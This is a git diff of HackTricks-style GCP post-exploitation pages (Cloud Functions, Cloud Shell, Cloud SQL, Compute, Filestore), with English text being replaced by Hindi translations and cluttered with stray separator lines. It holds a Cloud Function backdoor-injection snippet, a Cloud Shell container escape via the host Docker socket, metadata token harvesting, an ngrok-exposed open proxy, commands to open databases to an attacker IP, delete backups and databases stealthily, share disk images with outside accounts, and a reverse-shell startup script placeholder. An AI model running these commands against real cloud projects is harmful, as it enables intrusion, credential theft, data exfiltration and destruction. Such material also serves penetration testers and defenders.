if not os.path.exists('/tmp/function.py'):
|
||||
return "/tmp/function.py doesn't exists"
|
||||
|
||||
# Get relevant function names
|
||||
handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
|
||||
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (./main.py by default)
|
||||
realpath = os.path.realpath(source_path) # Get full path
|
||||
# Get relevant function names
|
||||
handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
|
||||
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (./main.py by default)
|
||||
realpath = os.path.realpath(source_path) # Get full path
|
||||
|
||||
# Get the modules representations
|
||||
spec_handler = importlib.util.spec_from_file_location("main_handler", realpath)
|
||||
module_handler = importlib.util.module_from_spec(spec_handler)
|
||||
# Get the modules representations
|
||||
spec_handler = importlib.util.spec_from_file_location("main_handler", realpath)
|
||||
module_handler = importlib.util.module_from_spec(spec_handler)
|
||||
|
||||
spec_backdoor = importlib.util.spec_from_file_location('backdoor', '/tmp/function.py')
|
||||
module_backdoor = importlib.util.module_from_spec(spec_backdoor)
|
||||
spec_backdoor = importlib.util.spec_from_file_location('backdoor', '/tmp/function.py')
|
||||
module_backdoor = importlib.util.module_from_spec(spec_backdoor)
|
||||
|
||||
# Load the modules inside the app context
|
||||
with app.app_context():
|
||||
spec_handler.loader.exec_module(module_handler)
|
||||
spec_backdoor.loader.exec_module(module_backdoor)
|
||||
# Load the modules inside the app context
|
||||
with app.app_context():
|
||||
spec_handler.loader.exec_module(module_handler)
|
||||
spec_backdoor.loader.exec_module(module_backdoor)
|
||||
|
||||
# make the cloud funtion use as handler the new function
|
||||
prev_handler = getattr(module_handler, handler_fname)
|
||||
new_func_wrap = getattr(module_backdoor, 'new_http_view_func_wrapper')
|
||||
app.view_functions["run"] = new_func_wrap(prev_handler, flask.request)
|
||||
return "Injection completed!"
|
||||
# make the cloud funtion use as handler the new function
|
||||
prev_handler = getattr(module_handler, handler_fname)
|
||||
new_func_wrap = getattr(module_backdoor, 'new_http_view_func_wrapper')
|
||||
app.view_functions["run"] = new_func_wrap(prev_handler, flask.request)
|
||||
return "Injection completed!"
|
||||
|
||||
except Exception as e:
|
||||
return str(e)
|
||||
except Exception as e:
|
||||
return str(e)
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+4
-8
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Run
|
||||
|
||||
For more information about Cloud Run check:
|
||||
Cloud Run के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-run-enum.md
|
||||
@@ -12,16 +12,12 @@ For more information about Cloud Run check:
|
||||
|
||||
### Access the images
|
||||
|
||||
If you can access the container images check the code for vulnerabilities and hardcoded sensitive information. Also for sensitive information in env variables.
|
||||
यदि आप कंटेनर इमेजेस तक पहुँच सकते हैं, तो कमजोरियों और हार्डकोडेड संवेदनशील जानकारी के लिए कोड की जाँच करें। साथ ही env वेरिएबल्स में संवेदनशील जानकारी के लिए भी।
|
||||
|
||||
If the images are stored in repos inside the service Artifact Registry and the user has read access over the repos, he could also download the image from this service.
|
||||
यदि इमेजेस सेवा Artifact Registry के अंदर रिपोजिटरी में संग्रहीत हैं और उपयोगकर्ता को रिपोजिटरी पर पढ़ने का अधिकार है, तो वह इस सेवा से इमेज डाउनलोड भी कर सकता है।
|
||||
|
||||
### Modify & redeploy the image
|
||||
|
||||
Modify the run image to steal information and redeploy the new version (just uploading a new docker container with the same tags won't get it executed). For example, if it's exposing a login page, steal the credentials users are sending.
|
||||
जानकारी चुराने के लिए रन इमेज को संशोधित करें और नए संस्करण को फिर से तैनात करें (सिर्फ नए डॉकर कंटेनर को उसी टैग के साथ अपलोड करने से इसे निष्पादित नहीं किया जाएगा)। उदाहरण के लिए, यदि यह लॉगिन पृष्ठ को उजागर कर रहा है, तो उपयोगकर्ताओं द्वारा भेजे जा रहे क्रेडेंशियल्स चुराएँ।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+16
-40
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Shell
|
||||
|
||||
For more information about Cloud Shell check:
|
||||
Cloud Shell के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-shell-enum.md
|
||||
@@ -12,27 +12,22 @@ For more information about Cloud Shell check:
|
||||
|
||||
### Container Escape
|
||||
|
||||
Note that the Google Cloud Shell runs inside a container, you can **easily escape to the host** by doing:
|
||||
|
||||
ध्यान दें कि Google Cloud Shell एक कंटेनर के अंदर चलता है, आप **आसानी से होस्ट पर जा सकते हैं**:
|
||||
```bash
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
|
||||
```
|
||||
यह गूगल द्वारा एक कमजोरियों के रूप में नहीं माना जाता है, लेकिन यह आपको उस वातावरण में हो रही घटनाओं का एक व्यापक दृष्टिकोण देता है।
|
||||
|
||||
This is not considered a vulnerability by google, but it gives you a wider vision of what is happening in that env.
|
||||
|
||||
Moreover, notice that from the host you can find a service account token:
|
||||
|
||||
इसके अलावा, ध्यान दें कि होस्ट से आप एक सेवा खाता टोकन पा सकते हैं:
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
|
||||
default/
|
||||
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
|
||||
```
|
||||
|
||||
With the following scopes:
|
||||
|
||||
निम्नलिखित स्कोप के साथ:
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
|
||||
|
||||
@@ -40,67 +35,48 @@ https://www.googleapis.com/auth/devstorage.read_only
|
||||
https://www.googleapis.com/auth/logging.write
|
||||
https://www.googleapis.com/auth/monitoring.write
|
||||
```
|
||||
|
||||
Enumerate metadata with LinPEAS:
|
||||
|
||||
मेटाडेटा को LinPEAS के साथ सूचीबद्ध करें:
|
||||
```bash
|
||||
cd /tmp
|
||||
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
|
||||
sh linpeas.sh -o cloud
|
||||
```
|
||||
[https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) का उपयोग करने के बाद Service Account के टोकन के साथ **कोई अनुमति नहीं मिली**...
|
||||
|
||||
After using [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) with the token of the Service Account **no permission was discovered**...
|
||||
|
||||
### Use it as Proxy
|
||||
|
||||
If you want to use your google cloud shell instance as proxy you need to run the following commands (or insert them in the .bashrc file):
|
||||
### इसे प्रॉक्सी के रूप में उपयोग करें
|
||||
|
||||
यदि आप अपने गूगल क्लाउड शेल इंस्टेंस का प्रॉक्सी के रूप में उपयोग करना चाहते हैं, तो आपको निम्नलिखित कमांड चलाने की आवश्यकता है (या उन्हें .bashrc फ़ाइल में डालें):
|
||||
```bash
|
||||
sudo apt install -y squid
|
||||
```
|
||||
|
||||
Just for let you know Squid is a http proxy server. Create a **squid.conf** file with the following settings:
|
||||
|
||||
बस आपको बताने के लिए कि Squid एक http प्रॉक्सी सर्वर है। एक **squid.conf** फ़ाइल निम्नलिखित सेटिंग्स के साथ बनाएं:
|
||||
```bash
|
||||
http_port 3128
|
||||
cache_dir /var/cache/squid 100 16 256
|
||||
acl all src 0.0.0.0/0
|
||||
http_access allow all
|
||||
```
|
||||
|
||||
copy the **squid.conf** file to **/etc/squid**
|
||||
|
||||
**squid.conf** फ़ाइल को **/etc/squid** में कॉपी करें
|
||||
```bash
|
||||
sudo cp squid.conf /etc/squid
|
||||
```
|
||||
|
||||
Finally run the squid service:
|
||||
|
||||
अंत में स्क्विड सेवा चलाएँ:
|
||||
```bash
|
||||
sudo service squid start
|
||||
```
|
||||
|
||||
Use ngrok to let the proxy be available from outside:
|
||||
|
||||
ngrok का उपयोग करें ताकि प्रॉक्सी बाहर से उपलब्ध हो सके:
|
||||
```bash
|
||||
./ngrok tcp 3128
|
||||
```
|
||||
tcp:// यूआरएल चलाने के बाद कॉपी करें। यदि आप ब्राउज़र से प्रॉक्सी चलाना चाहते हैं, तो tcp:// भाग और पोर्ट को हटा देना और अपने ब्राउज़र प्रॉक्सी सेटिंग्स के पोर्ट फ़ील्ड में पोर्ट डालना सुझावित है (squid एक http प्रॉक्सी सर्वर है)।
|
||||
|
||||
After running copy the tcp:// url. If you want to run the proxy from a browser it is suggested to remove the tcp:// part and the port and put the port in the port field of your browser proxy settings (squid is a http proxy server).
|
||||
|
||||
For better use at startup the .bashrc file should have the following lines:
|
||||
|
||||
शुरुआत में बेहतर उपयोग के लिए .bashrc फ़ाइल में निम्नलिखित पंक्तियाँ होनी चाहिए:
|
||||
```bash
|
||||
sudo apt install -y squid
|
||||
sudo cp squid.conf /etc/squid/
|
||||
sudo service squid start
|
||||
cd ngrok;./ngrok tcp 3128
|
||||
```
|
||||
|
||||
The instructions were copied from [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Check that page for other crazy ideas to run any kind of software (databases and even windows) in Cloud Shell.
|
||||
The instructions were copied from [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). उस पृष्ठ पर Cloud Shell में किसी भी प्रकार的软件 (डेटाबेस और यहां तक कि विंडोज) चलाने के लिए अन्य पागल विचारों के लिए जांचें।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+17
-39
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud SQL
|
||||
|
||||
For more information about Cloud SQL check:
|
||||
Cloud SQL के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-sql-enum.md
|
||||
@@ -12,96 +12,74 @@ For more information about Cloud SQL check:
|
||||
|
||||
### `cloudsql.instances.update`, ( `cloudsql.instances.get`)
|
||||
|
||||
To connect to the databases you **just need access to the database port** and know the **username** and **password**, there isn't any IAM requirements. So, an easy way to get access, supposing that the database has a public IP address, is to update the allowed networks and **allow your own IP address to access it**.
|
||||
|
||||
डेटाबेस से कनेक्ट करने के लिए आपको **बस डेटाबेस पोर्ट तक पहुंच** की आवश्यकता है और **यूजरनेम** और **पासवर्ड** पता होना चाहिए, कोई IAM आवश्यकताएँ नहीं हैं। इसलिए, एक आसान तरीका है कि यदि डेटाबेस का एक सार्वजनिक IP पता है, तो अनुमत नेटवर्क को अपडेट करें और **अपने स्वयं के IP पते को इसे एक्सेस करने की अनुमति दें**।
|
||||
```bash
|
||||
# Use --assign-ip to make the database get a public IPv4
|
||||
gcloud sql instances patch $INSTANCE_NAME \
|
||||
--authorized-networks "$(curl ifconfig.me)" \
|
||||
--assign-ip \
|
||||
--quiet
|
||||
--authorized-networks "$(curl ifconfig.me)" \
|
||||
--assign-ip \
|
||||
--quiet
|
||||
|
||||
mysql -h <ip_db> # If mysql
|
||||
|
||||
# With cloudsql.instances.get you can use gcloud directly
|
||||
gcloud sql connect mysql --user=root --quiet
|
||||
```
|
||||
यह भी संभव है कि **`--no-backup`** का उपयोग करके **डेटाबेस के बैकअप को बाधित** किया जा सके।
|
||||
|
||||
It's also possible to use **`--no-backup`** to **disrupt the backups** of the database.
|
||||
|
||||
As these are the requirements I'm not completely sure what are the permissions **`cloudsql.instances.connect`** and **`cloudsql.instances.login`** for. If you know it send a PR!
|
||||
चूंकि ये आवश्यकताएँ हैं, मैं पूरी तरह से सुनिश्चित नहीं हूँ कि **`cloudsql.instances.connect`** और **`cloudsql.instances.login`** के लिए अनुमतियाँ क्या हैं। यदि आप जानते हैं तो एक PR भेजें!
|
||||
|
||||
### `cloudsql.users.list`
|
||||
|
||||
Get a **list of all the users** of the database:
|
||||
|
||||
डेटाबेस के **सभी उपयोगकर्ताओं की सूची प्राप्त करें:**
|
||||
```bash
|
||||
gcloud sql users list --instance <intance-name>
|
||||
```
|
||||
|
||||
### `cloudsql.users.create`
|
||||
|
||||
This permission allows to **create a new user inside** the database:
|
||||
|
||||
यह अनुमति **डेटाबेस के अंदर एक नया उपयोगकर्ता बनाने** की अनुमति देती है:
|
||||
```bash
|
||||
gcloud sql users create <username> --instance <instance-name> --password <password>
|
||||
```
|
||||
|
||||
### `cloudsql.users.update`
|
||||
|
||||
This permission allows to **update user inside** the database. For example, you could change its password:
|
||||
|
||||
यह अनुमति **डेटाबेस के अंदर उपयोगकर्ता को अपडेट करने** की अनुमति देती है। उदाहरण के लिए, आप इसका पासवर्ड बदल सकते हैं:
|
||||
```bash
|
||||
gcloud sql users set-password <username> --instance <instance-name> --password <password>
|
||||
```
|
||||
|
||||
### `cloudsql.instances.restoreBackup`, `cloudsql.backupRuns.get`
|
||||
|
||||
Backups might contain **old sensitive information**, so it's interesting to check them.\
|
||||
**Restore a backup** inside a database:
|
||||
|
||||
बैकअप में **पुरानी संवेदनशील जानकारी** हो सकती है, इसलिए उन्हें चेक करना दिलचस्प है।\
|
||||
**एक बैकअप को** डेटाबेस के अंदर पुनर्स्थापित करें:
|
||||
```bash
|
||||
gcloud sql backups restore <backup-id> --restore-instance <instance-id>
|
||||
```
|
||||
|
||||
To do it in a more stealth way it's recommended to create a new SQL instance and recover the data there instead of in the currently running databases.
|
||||
इसे अधिक छिपे हुए तरीके से करने के लिए, एक नया SQL इंस्टेंस बनाना और वहां डेटा को पुनर्प्राप्त करना अनुशंसित है, बजाय वर्तमान में चल रहे डेटाबेस में।
|
||||
|
||||
### `cloudsql.backupRuns.delete`
|
||||
|
||||
This permission allow to delete backups:
|
||||
|
||||
यह अनुमति बैकअप को हटाने की अनुमति देती है:
|
||||
```bash
|
||||
gcloud sql backups delete <backup-id> --instance <instance-id>
|
||||
```
|
||||
|
||||
### `cloudsql.instances.export`, `storage.objects.create`
|
||||
|
||||
**Export a database** to a Cloud Storage Bucket so you can access it from there:
|
||||
|
||||
**एक डेटाबेस का निर्यात करें** ताकि आप इसे वहां से एक्सेस कर सकें:
|
||||
```bash
|
||||
# Export sql format, it could also be csv and bak
|
||||
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>
|
||||
```
|
||||
|
||||
### `cloudsql.instances.import`, `storage.objects.get`
|
||||
|
||||
**Import a database** (overwrite) from a Cloud Storage Bucket:
|
||||
|
||||
**क्लाउड स्टोरेज बकेट** से एक डेटाबेस आयात करें (ओवरराइट करें):
|
||||
```bash
|
||||
# Import format SQL, you could also import formats bak and csv
|
||||
gcloud sql import sql <instance-id> <gs://bucketName/fileName>
|
||||
```
|
||||
|
||||
### `cloudsql.databases.delete`
|
||||
|
||||
Delete a database from the db instance:
|
||||
|
||||
db instance से एक डेटाबेस हटाएं:
|
||||
```bash
|
||||
gcloud sql databases delete <db-name> --instance <instance-id>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+35
-53
@@ -4,23 +4,21 @@
|
||||
|
||||
## Compute
|
||||
|
||||
For more information about Compute and VPC (Networking) check:
|
||||
Compute और VPC (Networking) के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-compute-instances-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Export & Inspect Images locally
|
||||
### स्थानीय रूप से छवियों का निर्यात और निरीक्षण करें
|
||||
|
||||
This would allow an attacker to **access the data contained inside already existing images** or **create new images of running VMs** and access their data without having access to the running VM.
|
||||
|
||||
It's possible to export a VM image to a bucket and then download it and mount it locally with the command:
|
||||
यह एक हमलावर को **पहले से मौजूद छवियों के अंदर निहित डेटा तक पहुँचने** या **चल रहे VMs की नई छवियाँ बनाने** और उनके डेटा तक पहुँचने की अनुमति देगा बिना चल रहे VM तक पहुँच के।
|
||||
|
||||
एक VM छवि को एक बकेट में निर्यात करना और फिर इसे डाउनलोड करना और स्थानीय रूप से माउंट करना संभव है, कमांड के साथ:
|
||||
```bash
|
||||
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
|
||||
# The download the export from the bucket and mount it locally
|
||||
```
|
||||
|
||||
Fore performing this action the attacker might need privileges over the storage bucket and for sure **privileges over cloudbuild** as it's the **service** which is going to be asked to perform the export\
|
||||
Moreover, for this to work the codebuild SA and the compute SA needs privileged permissions.\
|
||||
The cloudbuild SA `<project-id>@cloudbuild.gserviceaccount.com` needs:
|
||||
@@ -36,8 +34,7 @@ And the SA `<project-id>-compute@developer.gserviceaccount.com` needs:
|
||||
|
||||
### Export & Inspect Snapshots & Disks locally
|
||||
|
||||
It's not possible to directly export snapshots and disks, but it's possible to **transform a snapshot in a disk, a disk in an image** and following the **previous section**, export that image to inspect it locally
|
||||
|
||||
यह संभव नहीं है कि सीधे स्नैपशॉट और डिस्क को निर्यात किया जाए, लेकिन यह संभव है कि **एक स्नैपशॉट को एक डिस्क में, एक डिस्क को एक इमेज में** परिवर्तित किया जाए और **पिछले अनुभाग** का पालन करते हुए, उस इमेज को निर्यात किया जाए ताकि इसे स्थानीय रूप से निरीक्षण किया जा सके।
|
||||
```bash
|
||||
# Create a Disk from a snapshot
|
||||
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]
|
||||
@@ -45,80 +42,65 @@ gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --
|
||||
# Create an image from a disk
|
||||
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]
|
||||
```
|
||||
|
||||
### Inspect an Image creating a VM
|
||||
|
||||
With the goal of accessing the **data stored in an image** or inside a **running VM** from where an attacker **has created an image,** it possible to grant an external account access over the image:
|
||||
|
||||
**छवि में संग्रहीत डेटा** या **चल रहे VM** के अंदर से, जहाँ एक हमलावर **एक छवि बनाई है,** तक पहुँच प्राप्त करने के लक्ष्य के साथ, एक बाहरी खाते को छवि पर पहुँच प्रदान करना संभव है:
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
|
||||
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
|
||||
--role='roles/compute.imageUser'
|
||||
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
|
||||
--role='roles/compute.imageUser'
|
||||
```
|
||||
|
||||
and then create a new VM from it:
|
||||
|
||||
और फिर इससे एक नया VM बनाएं:
|
||||
```bash
|
||||
gcloud compute instances create [INSTANCE_NAME] \
|
||||
--project=[TARGET_PROJECT_ID] \
|
||||
--zone=[ZONE] \
|
||||
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]
|
||||
--project=[TARGET_PROJECT_ID] \
|
||||
--zone=[ZONE] \
|
||||
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]
|
||||
```
|
||||
|
||||
If you could not give your external account access over image, you could launch a VM using that image in the victims project and **make the metadata execute a reverse shell** to access the image adding the param:
|
||||
|
||||
यदि आप अपनी बाहरी खाता छवि के माध्यम से पहुंच नहीं दे सके, तो आप पीड़ित की परियोजना में उस छवि का उपयोग करके एक VM लॉन्च कर सकते हैं और **मेटाडेटा को एक रिवर्स शेल निष्पादित करने के लिए बना सकते हैं** छवि तक पहुंच प्राप्त करने के लिए पैरामीटर जोड़ते हुए:
|
||||
```bash
|
||||
--metadata startup-script='#! /bin/bash
|
||||
echo "hello"; <reverse shell>'
|
||||
--metadata startup-script='#! /bin/bash
|
||||
echo "hello"; <reverse shell>'
|
||||
```
|
||||
|
||||
### Inspect a Snapshot/Disk attaching it to a VM
|
||||
|
||||
With the goal of accessing the **data stored in a disk or a snapshot, you could transform the snapshot into a disk, a disk into an image and follow th preivous steps.**
|
||||
|
||||
Or you could **grant an external account access** over the disk (if the starting point is a snapshot give access over the snapshot or create a disk from it):
|
||||
**डिस्क या स्नैपशॉट में संग्रहीत डेटा तक पहुँचने के लक्ष्य के साथ, आप स्नैपशॉट को डिस्क में, डिस्क को इमेज में बदल सकते हैं और पिछले चरणों का पालन कर सकते हैं।**
|
||||
|
||||
या आप **एक बाहरी खाते को डिस्क पर पहुँच प्रदान कर सकते हैं** (यदि प्रारंभिक बिंदु एक स्नैपशॉट है तो स्नैपशॉट पर पहुँच दें या इससे एक डिस्क बनाएं):
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [PROJECT_ID] \
|
||||
--member='user:[USER_EMAIL]' \
|
||||
--role='roles/compute.storageAdmin'
|
||||
--member='user:[USER_EMAIL]' \
|
||||
--role='roles/compute.storageAdmin'
|
||||
```
|
||||
|
||||
**Attach the disk** to an instance:
|
||||
|
||||
**डिस्क** को एक उदाहरण से जोड़ें:
|
||||
```bash
|
||||
gcloud compute instances attach-disk [INSTANCE_NAME] \
|
||||
--disk [DISK_NAME] \
|
||||
--zone [ZONE]
|
||||
--disk [DISK_NAME] \
|
||||
--zone [ZONE]
|
||||
```
|
||||
|
||||
Mount the disk inside the VM:
|
||||
|
||||
1. **SSH into the VM**:
|
||||
|
||||
```sh
|
||||
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
|
||||
```
|
||||
```sh
|
||||
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
|
||||
```
|
||||
|
||||
2. **Identify the Disk**: Once inside the VM, identify the new disk by listing the disk devices. Typically, you can find it as `/dev/sdb`, `/dev/sdc`, etc.
|
||||
3. **Format and Mount the Disk** (if it's a new or raw disk):
|
||||
2. **Disk की पहचान करें**: Once inside the VM, identify the new disk by listing the disk devices. Typically, you can find it as `/dev/sdb`, `/dev/sdc`, etc.
|
||||
3. **Disk को फॉर्मेट और माउंट करें** (if it's a new or raw disk):
|
||||
|
||||
- Create a mount point:
|
||||
- एक माउंट पॉइंट बनाएं:
|
||||
|
||||
```sh
|
||||
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
|
||||
```
|
||||
```sh
|
||||
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
|
||||
```
|
||||
|
||||
- Mount the disk:
|
||||
- Disk को माउंट करें:
|
||||
|
||||
```sh
|
||||
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
|
||||
```
|
||||
```sh
|
||||
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
|
||||
```
|
||||
|
||||
If you **cannot give access to a external project** to the snapshot or disk, you might need to p**erform these actions inside an instance in the same project as the snapshot/disk**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+36
-48
@@ -4,7 +4,7 @@
|
||||
|
||||
## Filestore
|
||||
|
||||
For more information about Filestore check:
|
||||
Filestore के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-filestore-enum.md
|
||||
@@ -12,8 +12,7 @@ For more information about Filestore check:
|
||||
|
||||
### Mount Filestore
|
||||
|
||||
A shared filesystem **might contain sensitive information** interesting from an attackers perspective. With access to the Filestore it's possible to **mount it**:
|
||||
|
||||
एक साझा फ़ाइल सिस्टम **संवेदनशील जानकारी** हो सकता है जो हमलावरों के दृष्टिकोण से दिलचस्प है। Filestore तक पहुँच के साथ, इसे **माउंट करना** संभव है:
|
||||
```bash
|
||||
sudo apt-get update
|
||||
sudo apt-get install nfs-common
|
||||
@@ -23,82 +22,71 @@ showmount -e <IP>
|
||||
mkdir /mnt/fs
|
||||
sudo mount [FILESTORE_IP]:/[FILE_SHARE_NAME] /mnt/fs
|
||||
```
|
||||
|
||||
To find the IP address of a filestore insatnce check the enumeration section of the page:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-filestore-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Remove Restrictions and get extra permissions
|
||||
|
||||
If the attacker isn't in an IP address with access over the share, but you have enough permissions to modify it, it's possible to remover the restrictions or access over it. It's also possible to grant more privileges over your IP address to have admin access over the share:
|
||||
### प्रतिबंध हटाएँ और अतिरिक्त अनुमतियाँ प्राप्त करें
|
||||
|
||||
यदि हमलावर उस IP पते पर नहीं है जिसमें शेयर पर पहुँच है, लेकिन आपके पास इसे संशोधित करने के लिए पर्याप्त अनुमतियाँ हैं, तो इसे हटाना संभव है। यह आपके IP पते पर अधिक विशेषाधिकार प्रदान करना भी संभव है ताकि शेयर पर प्रशासनिक पहुँच प्राप्त की जा सके:
|
||||
```bash
|
||||
gcloud filestore instances update nfstest \
|
||||
--zone=<exact-zone> \
|
||||
--flags-file=nfs.json
|
||||
--zone=<exact-zone> \
|
||||
--flags-file=nfs.json
|
||||
|
||||
# Contents of nfs.json
|
||||
{
|
||||
"--file-share":
|
||||
{
|
||||
"capacity": "1024",
|
||||
"name": "<share-name>",
|
||||
"nfs-export-options": [
|
||||
{
|
||||
"access-mode": "READ_WRITE",
|
||||
"ip-ranges": [
|
||||
"<your-ip-private-address>/32"
|
||||
],
|
||||
"squash-mode": "NO_ROOT_SQUASH",
|
||||
"anon_uid": 1003,
|
||||
"anon_gid": 1003
|
||||
}
|
||||
]
|
||||
}
|
||||
"--file-share":
|
||||
{
|
||||
"capacity": "1024",
|
||||
"name": "<share-name>",
|
||||
"nfs-export-options": [
|
||||
{
|
||||
"access-mode": "READ_WRITE",
|
||||
"ip-ranges": [
|
||||
"<your-ip-private-address>/32"
|
||||
],
|
||||
"squash-mode": "NO_ROOT_SQUASH",
|
||||
"anon_uid": 1003,
|
||||
"anon_gid": 1003
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Restore a backup
|
||||
|
||||
If there is a backup it's possible to **restore it** in an existing or in a new instance so its **information becomes accessible:**
|
||||
|
||||
यदि एक बैकअप है, तो इसे एक मौजूदा या नए इंस्टेंस में **पुनर्स्थापित** करना संभव है ताकि इसकी **जानकारी सुलभ हो जाए:**
|
||||
```bash
|
||||
# Create a new filestore if you don't want to modify the old one
|
||||
gcloud filestore instances create <new-instance-name> \
|
||||
--zone=<zone> \
|
||||
--tier=STANDARD \
|
||||
--file-share=name=vol1,capacity=1TB \
|
||||
--network=name=default,reserved-ip-range=10.0.0.0/29
|
||||
--zone=<zone> \
|
||||
--tier=STANDARD \
|
||||
--file-share=name=vol1,capacity=1TB \
|
||||
--network=name=default,reserved-ip-range=10.0.0.0/29
|
||||
|
||||
# Restore a backups in a new instance
|
||||
gcloud filestore instances restore <new-instance-name> \
|
||||
--zone=<zone> \
|
||||
--file-share=<instance-file-share-name> \
|
||||
--source-backup=<backup-name> \
|
||||
--source-backup-region=<backup-region>
|
||||
--zone=<zone> \
|
||||
--file-share=<instance-file-share-name> \
|
||||
--source-backup=<backup-name> \
|
||||
--source-backup-region=<backup-region>
|
||||
|
||||
# Follow the previous section commands to mount it
|
||||
```
|
||||
|
||||
### Create a backup and restore it
|
||||
|
||||
If you **don't have access over a share and don't want to modify it**, it's possible to **create a backup** of it and **restore** it as previously mentioned:
|
||||
|
||||
यदि आपके पास **एक शेयर पर पहुंच नहीं है और आप इसे संशोधित नहीं करना चाहते**, तो **इसका बैकअप बनाना** और **इसे पुनर्स्थापित करना** संभव है जैसा कि पहले उल्लेख किया गया है:
|
||||
```bash
|
||||
# Create share backup
|
||||
gcloud filestore backups create <back-name> \
|
||||
--region=<region> \
|
||||
--instance=<instance-name> \
|
||||
--instance-zone=<instance-zone> \
|
||||
--file-share=<share-name>
|
||||
--region=<region> \
|
||||
--instance=<instance-name> \
|
||||
--instance-zone=<instance-zone> \
|
||||
--file-share=<share-name>
|
||||
|
||||
# Follow the previous section commands to restore it and mount it
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+8
-14
@@ -1,33 +1,27 @@
|
||||
# GCP - IAM Post Exploitation
|
||||
# GCP - IAM पोस्ट एक्सप्लॉइटेशन
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
|
||||
You can find further information about IAM in:
|
||||
आप IAM के बारे में और जानकारी पा सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Granting access to management console <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
|
||||
